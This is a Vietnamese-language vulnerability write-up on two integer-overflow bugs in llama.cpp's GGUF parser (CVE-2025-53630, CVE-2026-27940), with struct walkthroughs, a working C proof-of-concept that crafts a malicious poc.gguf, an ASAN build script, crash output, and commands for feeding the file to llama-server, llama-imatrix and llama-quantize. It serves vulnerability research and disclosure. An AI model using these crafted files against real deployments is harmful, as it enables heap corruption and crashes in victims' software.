Others

CVE-2025-53630 & CVE-2026-27940 > Heap-based buffer overflow via Integer overflow in llama.cpp GGUF parser

Vuln: Không kiểm tra tràn số khi tính tổng kích thước cần cấp phát gây heap OOB read/write.

March 29, 2026

Important structs

gguf_context

gguf_context là output của bước đọc file GGUF. Nó lưu toàn bộ metadata: version, danh sách key-value, thông tin từng tensor, và size (tổng kích thước vùng dữ liệu tensor) cùng data (pointer đến vùng dữ liệu đó trong RAM).

struct gguf_context {
    uint32_t version;                       // version GGUF (= 3)
    std::vector<gguf_kv>          kv;       // key-value metadata (n_heads, vocab_size...)
    std::vector<gguf_tensor_info> info;     // metadata của từng tensor
    size_t alignment;                       // = 32 bytes mặc định
    size_t offset;                          // file offset nơi DATA BLOB bắt đầu
    size_t size;                            // tổng size DATA BLOB
    void * data;                            // pointer đến DATA BLOB trong RAM
};

gguf_tensor_info

gguf_tensor_info mô tả một tensor đọc từ file: tên, shape, kiểu dữ liệu và vị trí của nó trong DATA BLOB. Trường t.data để NULL vì đây chỉ là metadata, chưa có data thật.

struct gguf_tensor_info {
    struct ggml_tensor t;   // mượn ggml_tensor để lưu: name, ne[], type, nb[]
                            // t.data = NULL — không có data thật ở đây
    uint64_t offset;        // offset của tensor này trong DATA BLOB
};

ggml_context

ggml_context là một memory arena: một khối RAM liên tục được cấp phát trước, mọi tensor runtime sẽ được đặt vào trong đó. Khi no_alloc = true, context chỉ tạo metadata cho tensor mà không cấp phát bộ nhớ data thật.

struct ggml_context {
    size_t mem_size;                    // tổng kích thước arena
    void * mem_buffer;                  // 1 khối RAM liên tục
    bool   no_alloc;                    // true = chỉ tạo metadata, không alloc data
    int    n_objects;
    struct ggml_object * objects_begin; // linked list objects trong arena
    struct ggml_object * objects_end;
};

ggml_object

Mỗi khi tạo một tensor, graph hay work buffer trong arena, runtime ghi một ggml_object làm header ngay trước phần payload. Các object này được nối thành linked list để duyệt và quản lý.

struct ggml_object {
    size_t offs;                // offset từ đầu mem_buffer đến payload
    size_t size;                // kích thước payload
    struct ggml_object * next;  // object tiếp theo (linked list)
    enum ggml_object_type type; // TENSOR / GRAPH / WORK_BUFFER
};

ggml_tensor

Đây là tensor runtime thật sự. Trường data trỏ đến raw bytes của tensor, ne[] chứa shape, nb[] chứa stride tính bằng byte.

struct ggml_tensor {
    enum ggml_type type;        // F32, F16, Q4_0, Q8_0...
    int64_t ne[4];              // shape: ne[0]=cols, ne[1]=rows, ne[2], ne[3]
    size_t  nb[4];              // stride bytes: nb[0]=sizeof(element), nb[i]=nb[i-1]*ne[i-1]
    enum ggml_op op;            // phép tính: NONE, ADD, MUL_MAT, SOFTMAX...
    struct ggml_tensor * src[10]; // input tensors của phép tính
    void * data;                // *** pointer đến raw bytes ***
    char name[64];
};

mem_buffer layout

Thay vì gọi malloc riêng lẻ cho từng tensor, llama.cpp cấp phát trước một khối RAM liên tục duy nhất gọi là arena (mem_buffer). Mọi tensor, graph, work buffer đều được đặt vào trong đó theo thứ tự. Mỗi item gồm một ggml_object header ngay trước payload, các header này được nối thành linked list để runtime có thể duyệt qua toàn bộ arena.

Mỗi item trong arena có dạng ggml_object header + payload liền kề:

mem_buffer (1 khối RAM liên tục):
┌──────────────────────────────────────────────────────────────────┐
│ [obj_hdr][payload] [obj_hdr][payload] [obj_hdr][payload] [FREE]  │
└──────────────────────────────────────────────────────────────────┘

Khi load GGUF với no_alloc=false, layout cụ thể trong arena sẽ như sau:

[obj_hdr #0 TENSOR][blob_tensor struct][===== DATA BLOB =====     ]
                    blob->data ───────→[tA bytes][pad][tB bytes]...

[obj_hdr #1 TENSOR][tensor_A struct   ]  ← no_alloc=true, không có data
                    tensor_A->data ───→ (trỏ vào DATA BLOB + offset_A)

[obj_hdr #2 TENSOR][tensor_B struct   ]
                    tensor_B->data ───→ (trỏ vào DATA BLOB + offset_B)

[FREE SPACE                           ]

blob_tensor (#0) là tensor đặc biệt, payload của nó chính là toàn bộ DATA BLOB chứa raw bytes của tất cả tensor trong model. Các tensor còn lại (tensor_A, tensor_B, …) chỉ là view, không có data riêng mà chỉ có data pointer trỏ vào đúng vị trí trong DATA BLOB theo offset đọc từ file GGUF.

GGUF File Structure

File structure của .gguf trông như sau tại https://github.com/ggml-org/ggml/blob/master/docs/gguf.md:

Parser flow (gguf_init_from_file_impl())

Caller tạo params

Caller khởi tạo gguf_init_params để điều khiển hành vi của parser, sau đó gọi gguf_init_from_file().

struct gguf_init_params params = {
    .no_alloc = false,   // muốn load data thật
    .ctx      = &ctx,    // địa chỉ pointer ggml_context để nhận kết quả
};
gguf_context * gctx = gguf_init_from_file("model.gguf", params);

Sau đó là gọi đến gguf_init_from_file_impl():

struct gguf_context * gguf_init_from_file(const char * fname, struct gguf_init_params params) {
    FILE * file = ggml_fopen(fname, "rb");

    if (!file) {
        GGML_LOG_ERROR("%s: failed to open GGUF file '%s'\n", __func__, fname);
        return nullptr;
    }

    struct gguf_context * result = gguf_init_from_file_impl(file, params);
    fclose(file);
    return result;
}

Đọc file header

Parser đọc 4 byte đầu và validate magic string bằng "GGUF":

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L325

Sau đó đọc version (có validate):

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L353

Rồi đọc n_tensorsn_kv (có validate):

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L384

Đọc KV metadata

Mỗi cặp được parse vào gguf_kv và push vào ctx->kv (có check duplicate key, và validate type):

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L412

Đọc tensor info

Với mỗi tensor, parser đọc name vào info.t.name (có validate name length):

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L496

Đọc n_dims (tối đa 4) rồi đọc ne[0..n_dims-1], các chiều còn lại được gán bằng 1.

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L527

Bước validate kiểm tra không overflow int64, ne[j] >= 0:

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L541

Validate ne[0] chia hết cho block_size của kiểu dữ liệu:

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L580

Cuối cùng, info.offset được đọc vào, là vị trí của tensor này trong DATA BLOB, rồi toàn bộ được push vào ctx->info. Lúc này info.t.data = NULL vì chưa có data thật.

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L602

Seek đến DATA BLOB, ghi nhận offset

Parser pad vị trí hiện tại lên bội số của alignment trước khi seek, đảm bảo DATA BLOB luôn bắt đầu tại địa chỉ được align.

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L613

fseek(file, GGML_PAD(ftell(file), ctx->alignment), SEEK_SET);
ctx->offset = ftell(file);   // vị trí trong file nơi DATA BLOB bắt đầu

Tính ctx->size (Integer Overflow - CVE-2025-53630)

Đây là bước tính tổng kích thước bộ nhớ cần cấp phát cho toàn bộ tensor data.

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L623

ctx->size = 0;
for (size_t i = 0; i < ctx->info.size(); ++i) {
    const gguf_tensor_info & ti = ctx->info[i];

    // Check: offset phải đúng bằng ctx->size hiện tại (tuần tự)
    if (ti.offset != ctx->size) { return error; }

    ctx->size += GGML_PAD(ggml_nbytes(&ti.t), ctx->alignment);
    //           ↑ size tensor i, pad lên bội số của alignment
}

Parser duyệt qua từng tensor, cộng dồn kích thước có padding vào ctx->size. Check ti.offset != ctx->size đảm bảo các tensor nằm tuần tự trong DATA BLOB, không có gap hay overlap.

Tuy nhiên ở đây có lỗ hổng integer overflow khi cộng dồn vào ctx->size do ko có check nào cho giá trị của ctx->size trước khi cộng thêm. Dẫn đến giá trị của ctx->size bị truncate về một số rất nhỏ. Mình theo dõi các bước tiếp theo xem nó ảnh hưởng những đâu?

Tính mem_size và khởi tạo ggml_context

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L645

const size_t mem_size =
	params.no_alloc ?
	(n_tensors    )*ggml_tensor_overhead() :
	(n_tensors + 1)*ggml_tensor_overhead() + ctx->size;

struct ggml_init_params pdata = {
	/*mem_size   =*/ mem_size,
	/*mem_buffer =*/ nullptr,
	/*no_alloc   =*/ params.no_alloc,
};

*params.ctx = ggml_init(pdata);

Khi no_alloc = true, arena chỉ cần đủ chỗ cho metadata của n_tensors tensor, không cần data bytes. Khi no_alloc = false, arena cần thêm một slot cho blob tensor cộng với ctx->size bytes để chứa raw data, vậy nên mem_size cũng có kết quả là một số rất nhỏ.

Load toàn bộ DATA BLOB vào arena

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L667

Chỉ thực hiện khi no_alloc = false:

if (!params.no_alloc) {
	data = ggml_new_tensor_1d(ctx_data, GGML_TYPE_I8, ctx->size);

	ok = ok && data != nullptr;

	if (ok) {
		ggml_set_name(data, "GGUF tensor data binary blob");
	}

	// read the binary blob with the tensor data
	ok = ok && gr.read(data->data, ctx->size);

	if (!ok) {
		GGML_LOG_ERROR("%s: failed to read tensor data binary blob\n", __func__);
		ggml_free(ctx_data);
		*params.ctx = nullptr;
		gguf_free(ctx);
		return nullptr;
	}

	ctx->data = data->data;
}

Blob tensor là một tensor 1D kiểu I8 với ne[0] = ctx->size. Vì lúc này no_alloc = false, ggml_new_tensor_1d sẽ cấp phát data ngay trong arena, layout trong mem_buffer[obj_hdr][tensor_struct][DATA BYTES] liền kề nhau.

Sau khi tạo xong, parser đọc ctx->size bytes từ file vào blob->data. Đây là lần đọc duy nhất từ file cho phần data, toàn bộ raw weight nằm trong arena từ bước này.

Tạo từng ggml_tensor

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/ggml/src/gguf.cpp#L690

ggml_set_no_alloc(ctx_data, true);

// create the tensors
for (size_t i = 0; i < ctx->info.size(); ++i) {
	const struct gguf_tensor_info & info = ctx->info[i];

	struct ggml_tensor * cur = ggml_new_tensor(ctx_data, info.t.type, GGML_MAX_DIMS, info.t.ne);

	ok = ok && cur != nullptr;

	if (!ok) {
		break;
	}

	ggml_set_name(cur, info.t.name);

	// point the data member to the appropriate location in the binary blob using the tensor info
	if (!params.no_alloc) {
		cur->data = (char *) data->data + info.offset;
	}
}

Trước vòng lặp, parser gọi ggml_set_no_alloc(ctx_data, true) để các tensor tạo ra từ đây chỉ có metadata, không có data riêng.

Với mỗi tensor, cur->data được gán bằng blob->data + info.offset, tức là trỏ thẳng vào đúng vị trí trong blob. Nhưnginfo.offset là giá trị đọc trực tiếp từ file GGUF ở bước 3, không được kiểm tra lại ở đây. Nếu như trước đó overflow tại ctx->size, bây giờ arena đc tạo ra có kích thước rất nhỏ, nhưng info.offset vẫn có giá trị rất lớn (vì offset liên quan lúc tính ctx->size). Tóm lại, cur->data trỏ ra ngoài arena trên heap, nghĩa là mọi thao tác với con trỏ data sau này đều có thể gây OOB read/write trên heap.

Crafting a POC for CVE-2025-53630

Bây giờ mình sẽ tạo POC để trigger lỗi integer overflow này.

Bắt đầu với việc include các thứ cần thiết (để dùng hàm có sẵn trong ggml và gguf), và 2 struct để tạo tensor:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include "gguf.h"
#include "ggml.h"
#define ull unsigned long long

struct gguf_tensor_info_header {
    uint64_t name_len;
};

struct gguf_tensor_info_metadata {
    uint32_t n_dims;
    int64_t  ne[GGML_MAX_DIMS];
    uint32_t type;
    uint64_t offset;
};

char poc_filename[] = "poc.gguf";

Hàm main():

Đặt ctx->size mục tiêu mình muốn có:

const uint64_t target_ctx_size = 0x400ULL;

Chọn type cho tensors, ví dụ float16, kích thước 2 byte:

enum ggml_type type_0 = GGML_TYPE_F16;
enum ggml_type type_1 = GGML_TYPE_F16;
size_t size_0 = ggml_type_size(type_0);
size_t size_1 = ggml_type_size(type_1);
size_t blck_size_0 = ggml_blck_size(type_0);
size_t blck_size_1 = ggml_blck_size(type_1);

Tiếp đến mình tạo 2 tensors để có giá trị này GGML_PAD(ggml_nbytes(&ti.t), ctx->alignment) cực lớn dẫn đến overflow, nhưng tạo thế nào? Mình xem hàm ggml_nbytes() ra sao?

size_t ggml_nbytes(const struct ggml_tensor * tensor) {
    for (int i = 0; i < GGML_MAX_DIMS; ++i) {
        if (tensor->ne[i] <= 0) {
            return 0;
        }
    }

    size_t nbytes;
    const size_t blck_size = ggml_blck_size(tensor->type);
    if (blck_size == 1) {
        nbytes = ggml_type_size(tensor->type);
        for (int i = 0; i < GGML_MAX_DIMS; ++i) {
            nbytes += (tensor->ne[i] - 1)*tensor->nb[i];
        }
    }
    else {
        nbytes = tensor->ne[0]*tensor->nb[0]/blck_size;
        for (int i = 1; i < GGML_MAX_DIMS; ++i) {
            nbytes += (tensor->ne[i] - 1)*tensor->nb[i];
        }
    }

    return nbytes;
}

Vì mình đã chọn float16:

static const struct ggml_type_traits type_traits[GGML_TYPE_COUNT] = {
	...
    [GGML_TYPE_F32] = {
        .type_name                = "f32",
        .blck_size                = 1,
        .type_size                = sizeof(float),
        .is_quantized             = false,
    },
    [GGML_TYPE_F16] = {
        .type_name                = "f16",
        .blck_size                = 1,
        .type_size                = sizeof(ggml_fp16_t),
        .is_quantized             = false,
        .to_float                 = (ggml_to_float_t) ggml_fp16_to_fp32_row,
        .from_float_ref           = (ggml_from_float_t) ggml_fp32_to_fp16_row,
    },

Nên type_size = 2, blck_size = 1, nhánh này xảy ra:

nbytes = ggml_type_size(tensor->type);
for (int i = 0; i < GGML_MAX_DIMS; ++i) {
	nbytes += (tensor->ne[i] - 1)*tensor->nb[i];
}

Mình tạo chỉ 1 chiều cho đơn giản, n_dims = 1. Vậy, nbytes = ne[0] * type_size. Vì nb[0] = type_size.

size_t nbytes_0 = 0xF000000000000000ULL;
size_t ne0 = nbytes_0 / size_0;

Tạo tensor tiếp theo, mình muốn tổng nbytes overflow:

size_t nbytes_1 = SIZE_MAX - GGML_PAD(nbytes_0, GGUF_DEFAULT_ALIGNMENT) + target_ctx_size + 1;
size_t ne1 = nbytes_1 / size_1;

Bây giờ ghi ra file poc. Ghi header (n_kv = 0 cho đơn giản):

FILE *fp = fopen(poc_filename, "wb");
if (!fp) {
	perror("Unable to open file for writing");
	return 1;
}

char magic[] = GGUF_MAGIC;
uint32_t version = GGUF_VERSION;
uint64_t n_tensors = 2;
uint64_t n_kv = 0;

fwrite(magic, 4, 1, fp);
fwrite(&version, sizeof(version), 1, fp);
fwrite(&n_tensors, sizeof(n_tensors), 1, fp);
fwrite(&n_kv, sizeof(n_kv), 1, fp);

Ghi các tensor:

uint64_t tensor_offset = 0;

char name_0[] = "tensor_A";
struct gguf_tensor_info_header th0;
struct gguf_tensor_info_metadata tm0;
th0.name_len = strlen(name_0);
tm0.n_dims = 1;
tm0.ne[0] = ne0;
tm0.type = type_0;
tm0.offset = tensor_offset;
fwrite(&th0.name_len, sizeof(th0.name_len), 1, fp);
fwrite(name_0, th0.name_len, 1, fp);
fwrite(&tm0.n_dims, sizeof(tm0.n_dims), 1, fp);
fwrite(tm0.ne, sizeof(tm0.ne[0]), tm0.n_dims, fp);
fwrite(&tm0.type, sizeof(tm0.type), 1, fp);
fwrite(&tm0.offset, sizeof(tm0.offset), 1, fp);

tensor_offset += GGML_PAD(nbytes_0, GGUF_DEFAULT_ALIGNMENT);

char name_1[] = "tensor_B";
struct gguf_tensor_info_header th1;
struct gguf_tensor_info_metadata tm1;
th1.name_len = strlen(name_1);
tm1.n_dims = 1;
tm1.ne[0] = ne1;
tm1.type = type_1;
tm1.offset = tensor_offset;
fwrite(&th1.name_len, sizeof(th1.name_len), 1, fp);
fwrite(name_1, th1.name_len, 1, fp);
fwrite(&tm1.n_dims, sizeof(tm1.n_dims), 1, fp);
fwrite(tm1.ne, sizeof(tm1.ne[0]), tm1.n_dims, fp);
fwrite(&tm1.type, sizeof(tm1.type), 1, fp);
fwrite(&tm1.offset, sizeof(tm1.offset), 1, fp);

Tiếp tục, padding trước khi ghi data blob:

size_t current_pos = ftell(fp);
size_t padded_pos = GGML_PAD(current_pos, GGUF_DEFAULT_ALIGNMENT);
if (padded_pos > current_pos) {
	char pad_bytes[padded_pos - current_pos];
	memset(pad_bytes, 0, sizeof(pad_bytes));
	fwrite(pad_bytes, 1, sizeof(pad_bytes), fp);
}

Ghi dummy data vào datablob:

char data[target_ctx_size];
float *fdata = (float *)data;
float value = 100.0f;
size_t num_floats = target_ctx_size / sizeof(float);
for (size_t i = 0; i < num_floats; i++)
	fdata[i] = value;

fwrite(data, 1, sizeof(data), fp);

printf("Crafted POC at: %s\n", poc_filename);
fclose(fp);

POC hoàn chỉnh: https://github.com/ngtuonghung/CVE-2026-27940/blob/main/CVE-2025-53630%20POC/poc.c

Rồi, bây giờ mình sẽ build ggml và example (với ASAN) tại https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/examples/gguf/gguf.cpp để parse thử poc với script sau:

#!/bin/bash

# CVE-2025-53630 POC

curdir=$(pwd)

cd ../llama.cpp-ffd59e7d18a76459d5c31ba97073c7c9d73cb752

# Configure to build only the ggml static libraries with debug symbols and no optimizations
cmake -B build \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-O0 -g3" \
  -DCMAKE_CXX_FLAGS="-O0 -g3" \
  -DBUILD_SHARED_LIBS=OFF \
  -DLLAMA_CURL=OFF \
  -DLLAMA_BUILD_TESTS=OFF \
  -DLLAMA_BUILD_EXAMPLES=OFF \
  -DLLAMA_BUILD_SERVER=OFF

# Build the ggml static libraries
cmake --build build --target ggml -j$(nproc)

echo $curdir

# Build the POC generator
g++ -O0 -g3 \
  -I./ggml/include \
  "$curdir/poc.c" -o "$curdir/poc" \
  ./build/ggml/src/libggml.a \
  ./build/ggml/src/libggml-base.a \
  ./build/ggml/src/libggml-cpu.a \
  -lm -lpthread -fopenmp

# Build the gguf example to verify the POC
g++ -O0 -g3 \
  -fsanitize=address \
  -fno-omit-frame-pointer \
  -I./ggml/include \
  examples/gguf/gguf.cpp -o "$curdir/llama-gguf" \
  ./build/ggml/src/libggml.a \
  ./build/ggml/src/libggml-base.a \
  ./build/ggml/src/libggml-cpu.a \
  -lm -lpthread -fopenmp

cd "$curdir"

echo -e '\n\nCrafting POC: ./poc'

./poc

echo -e '\n\nRunning gguf example: ./llama-gguf poc.gguf r n'

./llama-gguf poc.gguf r n

Và kết quả là:

Crafting POC: ./poc
Target context size: 0x400
Type 0: 1, size: 2, block size: 1
Type 1: 1, size: 2, block size: 1
Calculated nbytes_0: 0xf000000000000000
Calculated ne0: 0x7800000000000000
Calculated nbytes_1: 0x1000000000000400
Calculated ne1: 0x800000000000200
Calculated target_ctx_size_check: 0x400
Tensor 0 offset: 0x0
Tensor 1 offset: 0xf000000000000000
Current file position after writing headers: 0x68
Padded file position for data section: 0x80
Crafted POC at: poc.gguf

Mình đã có OOB read:

Chương trình crash khi đọc 10 phần tử float đầu tiên:

// print first 10 elements
const float * data = (const float *) cur->data;

printf("%s data[:10] : ", name);
for (int j = 0; j < MIN(10, ggml_nelements(cur)); ++j) {
	printf("%f ", data[j]);
}

Exploitable?

OOB Read rồi, nhưng liệu mình có khai thác được ko nhỉ? Trước hết mình thử tìm xem những nơi nào sử dụng đến gguf_init_from_file() mà thỏa mãn 2 điều sau:

  • param.ctx != NULL.
  • no_alloc = false.

Ở đây mình cần tìm những nơi là một phần của llama.cpp chứ không phải những chương trình ngoài sử dụng đến thư viện (ví dụ như example ở trên). Thì chỉ có duy nhất một nơi thỏa mãn:

https://github.com/ggml-org/llama.cpp/blob/ffd59e7d18a76459d5c31ba97073c7c9d73cb752/common/common.cpp#L1416

Nhưng tensor->data sau đó chỉ đc sử dụng để tính toán, mình cho rằng ko có ko có bất kỳ leak nào, hoặc là rất khó để leak:

Và gguf_context đc free ngay sau đó khi kết thúc hàm. Vậy mình kết luận rằng lỗi overflow này ko thể khai thác được.

Crafting a POC for CVE-2026-27940

Với các phiên bản sau đó, CVE-2025-53630 đã được fix, nhưng ko đủ. Dẫn đến CVE-2026-27940, dù đã thêm check khi tính ctx->size, ctx->size vẫn có thể là giá trị cực kỳ lớn gần sát SIZE_MAX:

size_t padded_size = GGML_PAD(ggml_nbytes(&ti.t), ctx->alignment);
if (SIZE_MAX - ctx->size < padded_size) {
	GGML_LOG_ERROR("%s: tensor '%s' size overflow, cannot accumulate size %zu + %zu\n",
		__func__, ti.t.name, ctx->size, padded_size);
	gguf_free(ctx);
	return nullptr;
}
ctx->size += padded_size;

First integer overflow

Nhưng lại quên check khi tính mem_size:

const size_t mem_size =
	params.no_alloc ?
	(n_tensors    )*ggml_tensor_overhead() :
	(n_tensors + 1)*ggml_tensor_overhead() + ctx->size;

Overflow vẫn xảy ra khi ctx->size cộng thêm tổng overhead, mem_size bị wrap về giá trị rất nhỏ. Mình có overflow lần 1!

Sau đó tạo tensor 1d với type I8 và ctx->size rất lớn:

if (!params.no_alloc) {
	data = ggml_new_tensor_1d(ctx_data, GGML_TYPE_I8, ctx->size);

ggml_new_tensor_1d() gọi đến ggml_new_tensor() với n_dims = 1, ne là ctx->size:

Second integer overflow

ggml_new_tensor() gọi đến ggml_new_tensor_impl() với view_src = null. obj_alloc_size = data_size = ctx->size (do type = 1):

Sau đó tạo một object mới bằng ggml_new_object(), truyền vào size là GGML_TENSOR_SIZE (0x150) + ctx->size. Mình có overflow lần 2!

Vì là object đầu tiên nên ctx->objects_end = null, vậy cur_end = 0, obj_new trỏ về đầu mem_buffer (arena):

Để bypass được check này và tiếp tục chương trình, mình cần đảm bảo:

  • wrapped(GGML_TENSOR_SIZE + ctx->size) + GGML_OBJECT_SIZE <= wrapped(mem_size).

Mà:

  • wrapped(mem_size) = ((n_tensors + 1)*ggml_tensor_overhead() + ctx->size) mod 2^64

    • = ((n_tensors + 1)*(GGML_OBJECT_SIZE + GGML_TENSOR_SIZE) + ctx->size) mod 2^64
  • wrapped(GGML_TENSOR_SIZE + ctx->size) = (GGML_TENSOR_SIZE + ctx->size) mod 2^64

Nghĩa là:

  • (GGML_TENSOR_SIZE + ctx->size) mod 2^64 + GGML_OBJECT_SIZE <=

  • ((n_tensors + 1)*(GGML_OBJECT_SIZE + GGML_TENSOR_SIZE) + ctx->size) mod 2^64

Vì GGML_OBJECT_SIZE = 0x20, GGML_TENSOR_SIZE = 0x150:

  • (0x150 + ctx->size) % 2^64 + 0x20 <= ((n_tensors + 1)*0x170 + ctx->size) % 2^64

Biểu thức này chắc chắn thỏa mãn khi 2^64 > ctx->size >= 2^64 - 0x150, với mọi n > 0 (cần ít nhất 1 tensor để gây overflow). wrapped(mem_size) có giá trị tối thiểu là (n_tensors + 1)*0x170 - 0x150. Với 1 tensor, thì min là 0x190. Vậy thì mình chỉ có khả năng cấp phát các chunk có kích thước >= 0x190. Đây là chưa tính đến padding, nếu có thì sẽ có thể chênh lên 1 chút.

Sau khi bypass đc check, chương trình ghi dữ liệu kích thước rất lớn vào buffer rất nhỏ, gây buffer overflow trên heap:

// read the binary blob with the tensor data
ok = ok && gr.read(data->data, ctx->size);

Ok giờ mình sẽ tạo đc POC như sau: https://github.com/ngtuonghung/CVE-2026-27940/blob/main/CVE-2026-27940%20POC/poc.c

Và chạy nó:

Crafting POC: ./poc poc.gguf
Type 0: 1, size: 2, block size: 1
ctx->size: 0xfffffffffffffec0
Calculated nbytes_0: 0xfffffffffffffec0
Calculated ne0: 0x7fffffffffffff60
Target mem_size: 0x1a0
Tensor 0 offset: 0x0
Current file position after writing headers: 0x40
Padded file position for data section: 0x40
Crafted POC at: poc.gguf

Vậy mem_size min là 0x1a0.

Vậy là mình đã có overflow tùy ý trên heap:

Exploitable?

Hmm, mình có thể overflow tùy ý trên heap, nhưng giờ sao? Biết rằng, chỉ với những interface của chính llama.cpp mà user có thể sử dụng, việc load một file .gguf chỉ được thực hiện 1 lần, cụ thể là thế nào?

Vì đây là version mới hơn, mình liệt kê được thêm các nơi sử đến gguf_init_from_file() mà thỏa mãn ctx != null và no_alloc = false:

Qua llama-server (model.gguf là 1 model hợp lệ):

./llama-server -m model.gguf --control-vector poc.gguf --port 8080
static common_control_vector_data common_control_vector_load_one(const common_control_vector_load_info & load_info) {
    common_control_vector_data result = { -1, {} };

    ggml_context * ctx = nullptr;
    struct gguf_init_params meta_gguf_params = {
        /* .no_alloc = */ false,
        /* .ctx      = */ &ctx,
    };
    struct gguf_context * ctx_gguf = gguf_init_from_file(load_info.fname.c_str(), meta_gguf_params);
    if (!ctx_gguf) {
        LOG_ERR("%s: failed to load control vector file from %s\n", __func__, load_info.fname.c_str());
        return result;
    }
    ...

Qua llama-imatrix:

./llama-imatrix -m dummy.gguf --in-file poc.gguf
bool IMatrixCollector::load_imatrix(const char * file_name) {
    struct ggml_context * ctx = nullptr;
    struct gguf_init_params meta_gguf_params = {
        /* .no_alloc = */ false, // the data is needed
        /* .ctx      = */ &ctx,
    };
    struct gguf_context * ctx_gguf = gguf_init_from_file(file_name, meta_gguf_params);
    if (!ctx_gguf) {
        return this->load_imatrix_legacy(file_name);
    }
    ...

Qua llama-quantize:

./llama-quantize --imatrix poc.gguf model.gguf output.gguf Q4_0
static int load_imatrix(const std::string & imatrix_file, std::vector<std::string> & imatrix_datasets, std::unordered_map<std::string, std::vector<float>> & imatrix_data) {

    struct ggml_context * ctx = nullptr;
    struct gguf_init_params meta_gguf_params = {
        /* .no_alloc = */ false, // the data is needed
        /* .ctx      = */ &ctx,
    };
    struct gguf_context * ctx_gguf = gguf_init_from_file(imatrix_file.c_str(), meta_gguf_params);
    if (!ctx_gguf) {
        fprintf(stderr, "%s: imatrix file '%s' is using old format\n", __func__, imatrix_file.c_str());
        return load_legacy_imatrix(imatrix_file, imatrix_datasets, imatrix_data);
    }
    ...

Để ý rằng mình chỉ có thể thực thi các path này một lần khi khởi chạy. Vậy nếu mục tiêu là RCE đc, thì mình chỉ có 1 shot overflow trên heap, và phải bypass các mitigation của heap (tránh corrupt heap metadata), và sau đó ghi đè function pointer nào đó ở các chunk đằng sau để chuyển luồng thực thi rồi mở shell, và tất nhiên trước đó phải bypass đc ASLR.

Theo mình nghĩ chỉ với riêng interface của llama.cpp, RCE chỉ với việc parse GGUF là rất khó, cho dù là partial overwrite ASLR. Kể cả có bug để bypass ASLR ở nơi khác trong llama.cpp, thì vẫn ko giúp đc gì, vì mỗi lần load GGUF là một process với dải địa chỉ mới.

Nhưng, vì llama.cpp là một library, nó có thể đc dùng trong 1 chương trình khác, mình nghĩ kịch bản như sau có thể xảy ra:

  • Chương trình đó cung cấp thêm interfaces, user có thể tương tác với llama.cpp thông qua chương trình đó nhiều lần (cụ thể là cho upload GGUF file).
  • Chương trình đó có bug, hoặc là llama.cpp có bug khác cho phép attacker có thể khai thác để bypass ASLR mà ko làm crash chương trình.
  • Sau khi bypass ASLR, vì llama.cpp đc load vào dải địa chỉ đã biết, attacker tạo GGUF hoàn chỉnh, upload để overflow và ghi đè vào con trỏ hàm nào đó của chương trình để chuyển luồng thực thi.

Author của CVE này viết trong report cách anh ta đạt RCE chính là cái mình nói ở trên. Anh ta viết một chương trình có sử dụng llama.cpp là library, rồi cho rằng có thể control this, control that, và ghi đè con trỏ hàm trong chính chương trình đó với system("/bin/bash"). Câu chữ trong report khiến cho người đọc bị hiểu lầm rằng đây là RCE hoàn chỉnh, chỉ việc parse GGUF.

Một chương trình ví dụ ở đây là Ollama. Nhưng vậy thôi :), đó là cho CVE khác rồi.

References

https://github.com/ggml-org/llama.cpp/security/advisories/GHSA-vgg9-87g3-85w8

https://github.com/ggml-org/llama.cpp/tree/ffd59e7d18a76459d5c31ba97073c7c9d73cb752

https://github.com/ggml-org/llama.cpp/security/advisories/GHSA-3p4r-fq3f-q74v

https://github.com/ggml-org/llama.cpp/releases?q=b8145&expanded=true

https://github.com/ggml-org/ggml/blob/master/docs/gguf.md

https://www.omrimallis.com/posts/understanding-how-llm-inference-works-with-llama-cpp/